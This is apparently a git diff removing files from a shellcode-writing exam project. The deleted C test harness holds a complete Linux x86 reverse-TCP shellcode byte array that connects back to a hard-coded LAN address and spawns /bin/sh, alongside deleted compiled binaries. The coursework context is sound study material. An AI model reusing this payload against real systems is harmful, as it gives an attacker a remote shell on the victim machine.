diff --git a/exam2/shell_reverse_tcp b/exam2/shell_reverse_tcp
deleted file mode 100755
index db21727..0000000
Binary files a/exam2/shell_reverse_tcp and /dev/null differ
diff --git a/exam2/shell_reverse_tcp.o b/exam2/shell_reverse_tcp.o
deleted file mode 100644
index b6ff877..0000000
Binary files a/exam2/shell_reverse_tcp.o and /dev/null differ
diff --git a/exam2/shellcode b/exam2/shellcode
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index 0fa842d..0000000
Binary files a/exam2/shellcode and /dev/null differ
diff --git a/exam2/shellcode.c b/exam2/shellcode.c
deleted file mode 100644
index 55526c7..0000000
--- a/exam2/shellcode.c
+++ /dev/null
@@ -1,11 +0,0 @@
-#include <stdio.h>
-#include <string.h>
-
-unsigned char code[] = "\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xeb\x51\x5f\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x31\xd2\xff\x37\x66\xff\x77\x04\x4b\x66\x53\x43\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xd8\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80\xe8\xaa\xff\xff\xff\xc0\xa8\x01\x95\xd6\xdd";
-
-main()
-{
-	printf("Shellcode Length:  %d\n", strlen(code));
-	int (*ret)() = (int(*)())code;
-	ret();
-}